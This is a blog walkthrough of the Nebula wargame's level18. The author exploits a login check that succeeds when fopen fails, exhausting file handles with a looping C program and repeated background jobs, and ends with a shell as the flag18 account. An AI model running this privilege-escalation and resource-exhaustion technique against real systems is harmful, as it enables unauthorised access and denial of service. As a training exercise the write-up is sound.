Friday, November 2, 2012

exploit-exercises Nebula: level18

This time, we will solve level18 of Nebula wargame. The source code of the vulnerable binary is provided. Most importantly

void login(char *pw)
{
FILE *fp;

fp = fopen(PWFILE, "r");
if(fp) {
char file[64];

if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
                fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

globals.loggedin = 1;

}

As it could be seen, we have to bypass the if(fp) check. Ofcourse, we don't have read access to the password file. What is to be noticed is that global.loggedin = 1 is outside of the if(fp) block. This means that if we are able to make the fopen() call return NULL, we will skip the if conditional block and be loggedin. After investigating what are the possible ways to make the fopen() call fail, I have come across the idea of exhausting file handlers.
[email protected]:~$ cat /proc/sys/fs/file-nr 
288 0 23521
There are 288 open files. The maximum amount of open files simultaneously is 23521 (way higher on my own box.) First thought is to write a program that loops for 24k times calling fopen() each time. But we have some limits.
[email protected]:~$ ulimit -Sn
The soft limit of open files by process is 1024, so we will change that to a higher value, matching the one of the hard limit which can't be increased without privileges.
[email protected]:~$ ulimit -Hn
4096
[email protected]:~$ ulimit -Sn 4096
Now we will launch the file handlers exhausting program for a couple of times to exhaust all the file handlers.
[email protected]:~$ cat fhexhaust.c 
#include <stdio.h>
int main(int argc, char *argv[]) {
    int i;
    FILE *fp;
    for(i = 0; i < 4096; i++) {
fp = fopen("/tmp/pwnie18", "r");
    }
    printf("let's take a nap\n");
    sleep(30);
    return 0;
}
The program will sleep for 30 seconds, letting us do the job calmly (80 WPM, if that is what you are thinking about.)
We first start flag18, and CTRL-Z out of it.
[email protected]:~$ touch /tmp/pwnie18
[email protected]:~$ ../flag18/flag18 

^Z
[2]+  Stopped(SIGTSTP)        ../flag18/flag18
We then launch fhexhaust 6 times.
[email protected]:~$ for i in {1..6}
> do
> ./a.out &
> done

[2] 4311
[3] 4312
[4] 4313
[5] 4314
[6] 4315
[7] 4316
[email protected]:~$ let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap

And we switch back to flag18 to login as the file handlers are exhausted.
[email protected]:~$ jobs
[1]+  Stopped(SIGTSTP)        ../flag18/flag18
[2]   Running                 ./a.out &
[3]   Running                 ./a.out &
[4]   Running                 ./a.out &
[5]   Running                 ./a.out &
[6]   Running                 ./a.out &
[7]   Running                 ./a.out &
[email protected]:~$ fg 1
../flag18/flag18
login
^Z
We kill the exhausters (to free their resources) before querying for a shell (Otherwise, execve will return -1 and errno is set
to ENFILE)
[email protected]:~$ fg 1
../flag18/flag18
shell
[email protected]:~$ id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
[email protected]:~$ getflag 
You have successfully executed getflag on a target account

No comments:

Post a Comment